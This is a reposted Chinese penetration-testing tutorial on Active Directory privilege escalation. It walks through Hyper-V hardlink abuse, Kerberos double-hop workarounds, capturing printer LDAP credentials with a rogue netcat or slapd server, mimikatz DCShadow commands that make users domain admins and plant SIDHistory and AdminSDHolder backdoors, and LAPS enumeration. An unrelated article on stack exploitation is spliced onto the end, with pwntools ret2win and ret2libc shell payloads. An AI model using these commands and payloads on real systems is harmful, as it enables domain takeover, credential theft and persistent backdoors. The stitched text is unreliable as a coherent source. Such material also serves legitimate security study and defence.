Hyper-V管理员组对所有Hyper-V功能具有完全访问权限。如果域控制器已经虚拟化,那么虚拟化管理员应被视为域管理员。他们可以轻松创建一个实时域控制器的克隆,并以离线方式挂载虚拟磁盘以获取NTDS.dit文件,并提取域中所有用户的NTLM密码哈希。

https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/

在这个博客上也有详细文档说明,当删除一个虚拟机时,vmms.exe会尝试以NT AUTHORITY\SYSTEM身份恢复相应的.vhdx文件的原始文件权限,而无需模拟用户。我们可以删除.vhdx文件,并创建一个本地的硬链接,将此文件指向一个受保护的SYSTEM文件,从而获得完全权限。

如果操作系统存在CVE-2018-0952或CVE-2019-0841漏洞,我们可以利用其来获取SYSTEM特权。否则,我们可以尝试利用服务器上安装了以SYSTEM上下文运行的服务的应用程序,这些服务可被非特权用户启动。

利用示例 一个例子是Firefox,它安装了Mozilla Maintenance Service。我们可以更新这个漏洞(一个用于NT硬链接的概念证明),以授予当前用户对以下文件的完全权限:

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

获取文件所有权

运行PowerShell脚本后,我们应该对此文件拥有完全控制权,并可以获取其所有权。

C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

启动Mozilla

Maintenance Service 接下来,我们可以使用一个恶意的maintenanceservice.exe替换这个文件,启动维护服务,并以SYSTEM身份执行命令。

C:\htb> sc.exe start MozillaMaintenance

注意:这个漏洞已通过2020年3月的Windows安全更新进行了缓解,该更新改变了与硬链接相关的行为。

Organization Management

该组也存在安装了Microsoft Exchange的环境中。

该组的成员可以访问所有域用户的邮箱。

该组还对名为Microsoft Exchange Security Groups的OU具有完全控制权限,其中包含了组Exchange Windows Permissions。

Print Operators

该组的成员被授予以下权限:

  • SeLoadDriverPrivilege
  • 在本地登录到域控制器并关闭它
  • 管理、创建、共享和删除连接到域控制器的打印机的权限

如果从非提升的上下文中运行 whoami /priv 命令未显示 SeLoadDriverPrivilege,则需要绕过UAC。

获取该组的成员。

Get-NetGroupMember -Identity "Print Operators" -Recurse

请在此页面中查看如何滥用 SeLoadDriverPrivilege 进行权限提升:

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege

Remote Desktop Users

此组的成员可以通过RDP访问PC。

获取组成员。

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse

Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

https://book.hacktricks.xyz/network-services-pentesting/pentesting-rdp

Remote Management Users

此组的成员可以通过WinRM访问PC。

Get-NetGroupMember -Identity "Remote Management Users" -Recurse

Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm

Kerberos双跳问题

Kerberos双跳是用来描述我们在两个或多个连接上维护客户端Kerberos身份验证凭据的方法。通过这种方式,我们可以保留用户的凭据,并代表用户在与其他服务器进行进一步连接时进行操作。

Kerberos TGT是用户的身份标识。当我们将该票证与服务票证一起传递时,我们可以重新使用KrbTGT请求其他服务票证,以便在我们的网络上与我们的服务资源进行通信。

执行Kerberos双跳需要满足一些要求。服务账户需要被信任以进行委派,也就是说它必须被信任代表其他用户执行操作。源服务器和目标服务器必须在同一个域中,或者在不同域之间存在森林级别的信任关系,并且第一级服务账户必须位于受信任的域根目录中。

Kerberos双跳流程:

第一步 - 客户端提供凭据,域控制器向客户端返回一个Kerberos TGT(票证授予票)。

第二步 - 客户端使用TGT请求一个服务票证,以连接到服务器1。

第三步 - 客户端连接到服务器1,并提供TGT和服务票证。

第四步 - 服务器1使用客户端的TGT请求一个服务票证,以便服务器1可以连接到服务器2。

第五步 - 服务器1使用客户端的凭据连接到服务器2。

也就是说,当我们使用凭据,例如使用powershell进行远程连接机器A,然后在机器A上直接使用之前验证的凭据访问服务B。

具体实例:

客户端运行IE7,并连接到一个使用Windows身份验证的Web服务器。客户端机器需要是域或受信任域的成员,并且需要启用集成的Windows身份验证。

Web服务器机器名为WEB1.mydomain.com,并且使用一个服务账户mydomain\webadmin。webadmin账户已经为HTTP/WEB1和HTTP/WEB1.mydomain.com注册了SPN(服务主体名称)。webadmin账户已经启用了对MSSQLSVC/SQL1.mydomain.com的受限委派。

SQL服务器的机器名为SQL1.mydomain.com,其SQL服务的服务账户为mydomain\sqladmin。sqladmin账户已经为MSSQLSVC/SQL1.mydomain.com注册了SPN。

在上述示例配置中,客户端正在连接http://web1,以便访问存储在后端SQL服务器SQL1上的数据。Web页面托管了从SQL检索数据的代码。用户账户用于对Web服务器进行身份验证。Web服务器利用其受限委派功能,代表用户请求Kerberos票证,以连接到SQL1。如果我们审计这些连接,我们将看到用户账户被用于访问Web页面和SQL服务器上的数据。这是一个典型的Kerberos双跳的示例,但我们可以很容易地扩展该场景以包含更多的跳转。理论上,只要我们启用了委派并保留了正确的服务主体名称注册,我们可以不断扩展这个示例。

双跳问题

使用2016-WSUS机器使用管理员账户远程连接WEB-2012机器,再使用之前认证的凭据连接AD-2016。

//交互式

Enter-PSSession -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator
//非交互

Invoke-Command-ComputerName <计算机名或IP地址> -Credential <凭据> -ScriptBlock { # 在此处输入您要在远程主机上执行的命令 }

m1u3qktxem412309.png

直接使用该凭据连接AD-2016,发现拒绝访问。

44snbqrjjcm12315.png

因为当通过Kerberos进行身份验证时,凭据不会缓存在内存中。因此,当 web-2012 中的 User1 尝试登录第二台服务器时,他无法进行身份验证。

解决办法
非约束委派

如果机器中启用了无约束委派,则不会发生这种情况,因为服务器将获取每个访问它的用户的TGT。

CredSSP

根据微软的说法: “CredSSP身份验证将用户凭据从本地计算机委派到远程计算机。这种做法增加了远程操作的安全风险。如果远程计算机受到入侵,当凭据传递给它时,这些凭据可以用于控制网络会话。” 如果您发现在生产系统、敏感网络等地方启用了CredSSP,建议将其禁用。可以通过运行Get-WSManCredSSP来快速检查CredSSP的状态。如果启用了WinRM,还可以远程执行此命令。

查看CredSSP的状态。

Invoke-Command -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator -ScriptBlock { Get-WSManCredSSP }

利用命令:

https://learn.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7.3

开启CredSSP。

Enable-WSManCredSSP -Role "Client" -DelegateComputer "web-2012.vvvv1.com"

Enable-WSManCredSSP -Role "Server"

zqwim5jjiyu12321.png

添加参数-Authentication Credssp,使用Credssp进行认证。

https://blog.idera.com/database-tools/solving-double-hop-remoting-with-credssp

Invoke-Command -ComputerName web-2012.vvvv1.com -Authentication Credssp -Credential VVVV1\administrator -ScriptBlock {dir \\ad-2016.vvvv1.com\c$ }

qfpzwwoxg3412326.png

禁用WSMan CredSSP。

Disable-WSManCredSSP -Role Client

Disable-WSManCredSSP -Role Server

调用命令

其实这就是一个嵌套的Invoke-Command。

这将在第二台服务器上运行:hostname。

$cred=Get-Credential VVVV1\administrator

Invoke-Command -ComputerName web-2012.vvvv1.com -Credential $cred -ScriptBlock{

Invoke-Command -ComputerName ad-2016.vvvv1.com -Credential $Using:cred -ScriptBlock{hostname}

}

或者与第一个服务器建立PS-Session ,然后简单地从那里运行而不是嵌套它。相当于连接到第一个服务器后再保存一个可用的凭据。

# From the WinRM connection

$pwd = ConvertTo-SecureString 'admin!@#45ad' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('VVVV1\administrator', $pwd)

# Use "-Credential $cred" option in Powerview commands

qinn4zgttty12330.png

注册会话配置

Enter-PSSession -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator

# Register a new PS Session configuration

//在server1上运行

Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential VVVV1\administrator

# Restar WinRM

Restart-Service WinRM

# Get a PSSession

Enter-PSSession -ConfigurationName doublehopsess -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator

# Check that in this case the TGT was sent and is in memory of the PSSession

//凭据被绑定到内存中。

klist

# In this session you won't have the double hop problem anymore

mgnwxio10ge12335.png

端口代理

https://posts.slayerlabs.com/double-hop/

因为我们在中间目标机器 bizintel: 10.35.8.17 上有本地管理员权限,所以可以添加一个端口转发规则,将您的请求发送到最终/第三台服务器 secdev: 10.35.8.23。

您可以使用 netsh 快速提取一个单行命令并添加规则。

netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23

这样 bizintel 将监听端口 5446,并将收到的请求转发到 secdev 的端口 5985(也称为 WinRM)。

然后打开 Windows 防火墙的端口,也可以使用快速 netsh 命令完成。

netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446

现在建立会话,这将将我们转发到 secdev。

dyfoywcttzc12348.png

当使用 winrs.exe 时,端口转发 WinRM 请求似乎也是有效的。如果您意识到 PowerShell 正在被监控,这可能是一个更好的选择。下面的命令将返回 "secdev" 作为主机名的结果。

winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname

与 Invoke-Command 类似,这可以很容易地编写脚本,以便攻击者可以将系统命令作为参数发出。一个通用的批处理脚本示例 winrm.bat:

nchvwixso2h12352.png

OpenSSH

这种方法需要在中间服务器(即 bizintel)上安装 OpenSSH。在 Windows 上安装 OpenSSH 可以完全通过命令行界面进行,并且不需要太多时间 - 而且它不会被标记为恶意软件!

https://github.com/PowerShell/Win32-OpenSSH/wiki/Install-Win32-OpenSSH

当然,在某些情况下,这可能不可行、过于繁琐或可能存在一般的操作安全风险。

在跳板机设置上,这种方法可能特别有用 - 可以访问否则无法访问的网络。建立 SSH 连接后,用户/攻击者可以根据需要启动尽可能多的 New-PSSession 来针对分段网络进行操作,而不会遭遇双跳问题。

当在 OpenSSH 中配置为使用密码身份验证时(而不是密钥或票证),登录类型为 8,即网络明文登录。这并不意味着您的密码以明文形式发送 - 实际上,它是通过 SSH 加密的。到达目的地后,通过其身份验证机制将其解密为明文,供您的会话进一步请求有价值的票证(TGT)!

这使得中间服务器能够代表您请求和获取 TGT,并在中间服务器上本地存储。然后,您的会话可以使用此 TGT 对其他服务器进行身份验证(PS 远程)。

https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera?redirectedfrom=MSDN

OpenSSH 安装场景: 从 GitHub 上下载最新的 OpenSSH 发布压缩包,并将其移到攻击者的机器上(或直接下载到跳板机)。

https://github.com/PowerShell/Win32-OpenSSH/releases

将压缩包解压到您想要的位置。然后,运行安装脚本 - Install-sshd.ps1。

0d3ymasvpd212355.png

最后,只需添加一个防火墙规则来打开端口22。验证 SSH 服务是否已安装并启动它们。这两个服务都需要运行才能使 SSH 正常工作。

cjq3sbon2ak12358.png

如果收到Connection reset错误,请更新权限以允许所有人:在 OpenSSH 根目录上读取和执行。

icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T

csongee2zes12364.png

打印机中的AD信息

互联网上有几篇博客强调了将打印机配置为具有默认/弱登录凭据的 LDAP 的危险性。

这是因为攻击者可以欺骗打印机对一个恶意的 LDAP 服务器进行身份验证(通常 nc -vv -l -p 444 足够),从而在明文中获取打印机凭据。此外,一些打印机可能会包含记录用户名的日志,甚至可以从域控制器上下载所有用户名。所有这些敏感信息以及常见的安全缺失使得打印机对攻击者非常有吸引力。

https://www.ceos3c.com/security/obtaining-domain-credentials-printer-netcat/

https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856

https://grimhacker.com/2018/03/09/just-a-printer/

打印机管理界面

与许多系统类似,Konica Minolta 打印机在端口 80/443 上提供了一个 Web 管理界面。要访问管理设置,需要密码,但不幸的是,对于许多组织而言,它有一个默认密码,可以通过快速的谷歌搜索找到。根据型号的不同,有几种变化,但通常我发现密码是 '1234567812345678' 或 '12345678'。

有各种选项可用,但最近引起我注意的是 LDAP 连接设置。

关于 LDAP 和 AD 的简要说明 "轻型目录访问协议(LDAP)是在 TCP/IP 协议栈之上运行的目录服务协议,它提供了一种用于连接、搜索和修改 Internet 目录的机制。"

https://msdn.microsoft.com/en-us/library/aa367008(v=vs.85).aspx

在 Windows 域环境中,您可以使用 LDAP 与 Active Directory 进行交互。

AD 将允许披露少量信息的 "null bind"(即没有用户名或密码),但不像以前那样会泄露很多信息。为了获取用户列表,必须使用有效的用户名和密码绑定到服务器。

LDAP 设置 在 Konica Minolta 打印机上,可以配置一个 LDAP 服务器进行连接,并提供凭据。在这些设备的早期固件版本中,我听说可以通过阅读页面的 HTML 源代码来恢复凭据。然而,现在凭据不会在界面中返回,所以我们需要更努力一点。

LDAP 服务器列表位于:网络 > LDAP 设置 > 设置 LDAP

界面允许在不重新输入将用于连接的凭据的情况下修改 LDAP 服务器。我猜这是为了更简单的用户体验,但这给了攻击者从打印机的控制权限升级为域的起点的机会。

我们可以将 LDAP 服务器地址设置为我们控制的机器,并使用有用的 "测试连接" 功能触发连接。

监听

正常情况下可以直接使用netcat进行监听获取凭据。

sudo nc -k -v -l -p 386

我发现打印机首先尝试进行一个空绑定(null bind),然后查询可用的信息,只有在这些操作成功后才会使用凭据进行绑定。

我搜索了一下满足要求的简单 LDAP 服务器,但选择似乎有限。最后,我选择设置了一个开放的 LDAP 服务器,并使用 slapd 调试服务器服务来接受连接并打印出打印机的消息。(如果您知道更简单的替代方案,我很乐意听听。)

安装

https://www.server-world.info/en/note?os=Fedora_26&p=openldap

从根终端:

安装 OpenLDAP。

> dnf install -y install openldap-servers openldap-clients

> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG

> chown ldap. /var/lib/ldap/DB_CONFIG

设置 OpenLDAP 管理员密码(您很快将再次需要此密码)。

> slappasswd

New password:

Re-enter new password:

{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

> vim chrootpw.ldif

# specify the password generated above for "olcRootPW" section

dn: olcDatabase={0}config,cn=config

changetype: modify

add: olcRootPW

olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "olcDatabase={0}config,cn=config"

导入基本架构。

> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

adding new entry "cn=cosine,cn=schema,cn=config"

> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

adding new entry "cn=nis,cn=schema,cn=config"

> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

adding new entry "cn=inetorgperson,cn=schema,cn=config"

在 LDAP DB 上设置您的域名。

# generate directory manager's password

> slappasswd

New password:

Re-enter new password:

{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

> vim chdomain.ldif

# specify the password generated above for "olcRootPW" section

dn: olcDatabase={1}monitor,cn=config

changetype: modify

replace: olcAccess

olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth"

read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none

dn: olcDatabase={2}mdb,cn=config

changetype: modify

replace: olcSuffix

olcSuffix: dc=foo,dc=bar

dn: olcDatabase={2}mdb,cn=config

changetype: modify

replace: olcRootDN

olcRootDN: cn=Manager,dc=foo,dc=bar

dn: olcDatabase={2}mdb,cn=config

changetype: modify

add: olcRootPW

olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

dn: olcDatabase={2}mdb,cn=config

changetype: modify

add: olcAccess

olcAccess: {0}to attrs=userPassword,shadowLastChange by

dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none

olcAccess: {1}to dn.base="" by * read

olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read

> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "olcDatabase={1}monitor,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

> vim basedomain.ldif

dn: dc=foo,dc=bar

objectClass: top

objectClass: dcObject

objectclass: organization

o: Foo Bar

dc: DC1

dn: cn=Manager,dc=foo,dc=bar

objectClass: organizationalRole

cn: Manager

description: Directory Manager

dn: ou=People,dc=foo,dc=bar

objectClass: organizationalUnit

ou: People

dn: ou=Group,dc=foo,dc=bar

objectClass: organizationalUnit

ou: Group

> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif

Enter LDAP Password: # directory manager's password

adding new entry "dc=foo,dc=bar"

adding new entry "cn=Manager,dc=foo,dc=bar"

adding new entry "ou=People,dc=foo,dc=bar"

adding new entry "ou=Group,dc=foo,dc=bar"

配置 LDAP TLS

创建和SSL证书

> cd /etc/pki/tls/certs

> make server.key

umask 77 ; \

/usr/bin/openssl genrsa -aes128 2048 > server.key

Generating RSA private key, 2048 bit long modulus

...

...

e is 65537 (0x10001)

Enter pass phrase: # set passphrase

Verifying - Enter pass phrase: # confirm

# remove passphrase from private key

> openssl rsa -in server.key -out server.key

Enter pass phrase for server.key: # input passphrase

writing RSA key

> make server.csr

umask 77 ; \

/usr/bin/openssl req -utf8 -new -key server.key -out server.csr

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [XX]: # country

State or Province Name (full name) []: # state

Locality Name (eg, city) [Default City]: # city

Organization Name (eg, company) [Default Company Ltd]: # company

Organizational Unit Name (eg, section) []:Foo Bar # department

Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN

Email Address []:xxx@foo.bar # admin email

Please enter the following 'extra' attributes

to be sent with your certificate request

A challenge password []: # Enter

An optional company name []: # Enter

> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650

Signature ok

subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar

Getting Private key

为 SSL/TLS 配置 Slapd

> cp /etc/pki/tls/certs/server.key \

/etc/pki/tls/certs/server.crt \

/etc/pki/tls/certs/ca-bundle.crt \

/etc/openldap/certs/

> chown ldap. /etc/openldap/certs/server.key \

/etc/openldap/certs/server.crt \

/etc/openldap/certs/ca-bundle.crt

> vim mod_ssl.ldif

# create new

dn: cn=config

changetype: modify

add: olcTLSCACertificateFile

olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt

replace: olcTLSCertificateFile

olcTLSCertificateFile: /etc/openldap/certs/server.crt

replace: olcTLSCertificateKeyFile

olcTLSCertificateKeyFile: /etc/openldap/certs/server.key

> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "cn=config"

允许 LDAP 通过本地防火墙

firewall-cmd --add-service={ldap,ldaps}

安装并配置 LDAP 服务后,您可以使用以下命令运行它

slapd -d 2

下面的屏幕截图显示了我们在打印机上运行连接测试时的输出示例。正如您所看到的,用户名和密码从 LDAP 客户端传递到服务器。

4l35kyiywpx12369.png

DCShadow

DCShadow通过创建恶意的域控制器,利用域控之间的数据同步复制,将预先设定的对象或对象属性注入正在运行的合法域控制器,以此来创建域后门或者获取各种类型的非法访问渠道。

下面通过DCShadow修改普通域用户man03的primaryGroupID属性演示DCShadow的攻击过程。

primaryGroupID属性指向用户所属的主要组的RID,通过将用户的primaryGroupID改为512,可以让用户成为域管理员。RID指相对标识符,是SID的组成部分,位于SID字符串的末端。Windows系统使用RID来区分用户账户和组,常见系统账户的RID如下图。

i2pcousq5sy12374.png

利用DCShadow
  1. 在域内任意一台主机中上传Mimikatz。打开一个命令行窗口,执行以下命令启动数据更改。该命令行窗口需要为SYSTEM权限,以拥有适当的权限来创建恶意域控制器。

//获取system权限

!+

!processtoken

token::whoami

请注意,elevate :: token 在 mimikatz1 会话中不起作用,因为它仅提升了线程的权限,但我们需要提升进程的权限。

c3dny541to212393.png

//创建恶意域控制器,且修改用户组中man03为域管理员

lsadump::dcshadow /object:CN=man03,CN=Users,DC=vvvv1,DC=com /attribute:primaryGroupID /value:512

  1. 执行后,第一个命令行窗口不要关闭,并新开一个域管理员权限的命令行窗口。在新的命令行窗口中执行以下命令强制触发域复制,将数据更改推送至合法的域控服务器。

lsadump::dcshadow /push

ne00nc5jxn012400.png

发现man03用户已经成为域管理员。

dw5w55atqlr12404.png

ca4hzpkflo012410.png

您可以通过具有以下最小权限的 DA 或用户推送更改:

在域对象中:

  • DS-Install-Replica(添加/删除域中的副本)
  • DS-Replication-Manage-Topology(管理复制拓扑)
  • DS-Replication-Synchronize(复制同步)

配置容器中 Sites 对象(及其子级):

  • CreateChild 和 DeleteChild

已注册为 DC 的计算机对象:

  • WriteProperty(而不是 Write)

目标对象:

  • WriteProperty(而不是 Write)

您可以使用 Set-DCShadowPermissions 命令将这些权限授予一个非特权用户(请注意,这将留下一些日志)。这比拥有 DA 权限更加限制性。

https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1

例如:

Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose

这意味着当用户名为 student1 的用户在机器 mcorp-student1 上登录时,他将具有对对象 root1user 的 DCShadow 权限。

创建后门

joxdx4fjma412415.png

lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519

lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519

First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl

Second, add to the ACE permissions to your user and push it using DCShadow

lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

痕迹观察

为了检测这种恶意活动,您可以监控网络流量,并怀疑任何不是 DC 主机(在我们的情况下是 PC-W10$,其 IP 地址为 10.0.0.7)向 DC(在我们的情况下是 10.0.0.6 上的 DC-MANTVYDAS)发出 RCP 请求,如下所示。

ju2xh1pc3dh12420.png

对于日志也是同样的情况,如果您看到一个非 DC 主机导致 DC 记录一个 4929 事件(详细的目录服务复制),您可能想调查一下该系统上还发生了什么其他情况。

lt3jtee52nq12425.png

mimikatz 目前的 DCShadow 实现在短时间内创建一个新的 DC,并在推送完成后删除其相关对象,这种模式可能会触发警报,因为在 1-2 秒的时间范围内同时发生新 DC 的创建、相关对象的修改和删除看起来是异常的。事件 4662 可能有助于识别这一情况。

a0wtb4lw01f12429.png

LAPS

https://zhuanlan.zhihu.com/p/37853137

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps

https://www.geekby.site/2020/02/%E9%9A%90%E8%94%BD%E5%9F%9F%E5%90%8E%E9%97%A8/#laps

https://blog.51cto.com/rdsrv/2708914

LAPS(本地管理员密码管理解决方案)允许您管理域加入计算机上的本地管理员密码(密码是随机生成的、唯一的,并定期更改)。这些密码被集中存储在活动目录中,并通过访问控制列表(ACL)限制只有授权用户可以访问。密码在从客户端到服务器的传输过程中使用 Kerberos v5 和 AES 进行保护。

当使用 LAPS 时,域中的计算机对象中会出现两个新属性:

ms-mcs-AdmPwd 和 ms-mcs-AdmPwdExpirationTime。

这些属性包含明文的管理员密码和密码过期时间。因此,在域环境中,检查哪些用户可以读取这些属性可能是有意义的。

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

dir "C:\Program Files\LAPS\CSE"

# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name

Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)

Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname



转载自原文链接地址: https://forum.butian.net/share/3681

二進制代碼利用是發現和利用計算機程序中的漏洞以修改或乾擾其預期行為的一種方法。這些漏洞可能導致身份驗證繞過和信息洩漏,或者還可能導致遠程代碼執行情形。很大一部分二進制代碼利用發生在堆棧(stack)上,有時候發生在堆(heap)上,甚至發生在內核空間上。堆棧是存儲由函數創建的臨時變量的內存區域。相比之下,堆則是可以動態分配的內存區域。

下面介紹的所有技術都依賴用戶輸入和程序的潛在崩潰或分段錯誤——緩衝區溢出。當進程試圖用超出預期的過多數據填充一塊內存區域時,就會出現這種損壞。有鑑於此,就有可能覆蓋內存,並控制下一個指令點/函數。

接下來,我們將描述堆棧利用過程中一些最常用的技術。

ret2win我們可以將ret2win技術理解為對二進制代碼中存在的特定調用«win() function»的簡單重定向。實現這一目標的主要步驟如下:

• 找到目標函數/調用,以重定向執行流«win() function»。

• 通過覆蓋堆棧上的返回地址(比如EIP)來調用它。

下一段代碼介紹如何找到這類漏洞。在添加填充和對齊載荷之後,必須添加目標調用«win() function -0x080491c3»的偏移量,最後執行它。本文使用了用於二進制利用的CTF框架Pwntools(https://github.com/Gallopsled/pwntools),為學習過程提供便利。

frompwnimport*

p=process('./vuln_program')

payload=b'A'*52

payload+=p32(0x080491c3)#targetcall«win()function»

log.info(p.clean())

p.sendline(payload)

log.info(p.clean())有了這種技術,就可以在程序執行期間跳轉到所需的函數,從而繞過應用程序控制措施。

關於這個主題的更多細節可以在這裡找到:https://corruptedprotocol.medium.com/rop-emporium-ret2win-x86-64-44a1cacb546。

ret2libcret2libc是一種技術,其中重定向流基於到libc調用的面向返回的編程(ROP)鏈。這種方法對於繞過一些二進制代碼保護(比如NX即無執行)很重要,在Windows操作系統中又稱為數據執行預防(DEP)。

在二進制代碼被利用的操作系統上找到libc的內存區域之後,必須基於libc的基址計算一些函數(包括系統調用)的實際地址。系統調用執行作為參數傳遞的任何字符串。傳遞給系統調用的最佳字符串是“/bin/sh”,這顯然會彈出新的系統shell。

下面是表示這種探索的代碼片段。正如我們所見,libc基址高亮顯示為0x7ffff7de5000,並用於計算二進制內存區域內的system和/bin/sh字符串。

之後執行ROP鏈,它因二進制漏洞、目標操作系統、架構及其他外部變量而異。

frompwnimport*

p=process('./vuln-64')

libc_base=0x7ffff7de5000#libcbaseaddressneeded

system=libc_base+0x48e20#addressofsystemcall

binsh=libc_base+0x18a143#binshstringtopopashell

POP_RDI=0x4011cb

payload=b'A'*72#Thepadding

payload+=p64(POP_RDI)#gadget-poprdi;ret

payload+=p64(binsh)#pointertocommand:/bin/sh

payload+=p64(system)#Locationofsystem

payload+=p64(0x0)#returnpointer-notimportantoncewegettheshell

p.clean()

p.sendline(payload)

p.interactive()關於該技術的更多細節以及如何探索它,可以在這裡找到:https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc。

格式字符串格式字符串技術在每當將用戶輸入字符串作為命令來評估時都會發生。這種技術可用於執行代碼、洩漏堆棧,甚至導致分段錯誤情形。

比如說,格式字符串參數%x和%s定義了格式函數的轉換類型。針對諸如此類的輸入,可能會洩露內存部分信息,這種方法還可以與上述的ret2lic一起使用。

下表給出了經常用於這種攻擊中的一些格式函數。

1.png

看看下一段C代碼,print函數易受攻擊,因為默認情況下參數函數(%p和%s等)並未指定。因此,用戶可以在輸入中指定它,從而充分利用這個二進制利用場景。

#include

voidmain(intargc,char**argv)

{

//Thislineisvulnerable,noparameterspecified(%p,%s,etc)

printf(argv[1]);

}在使用一堆%p執行程序後,堆棧地址將被洩漏,並且可以輕鬆找到執行ret2lic方法的lib基址。

./example'HelloWorld%p%p%p%p%p%p'

=output:HelloWorld000E133E000E133E0057F000CCCCCCCCCCCCCCCCCCCCCCCC關於該技術的更多細節可以在這裡找到:https://owasp.org/www-community/attacks/Format_string_attack。

流行的二進制代碼利用技術二進制代碼利用是滲透測試界利用內存不安全程序的最先進的攻擊之一。由於二進制代碼本身、保護機制以及它如何與不同的操作系統和多種架構進行交互具有復雜性,學習起來可能令人望而生畏。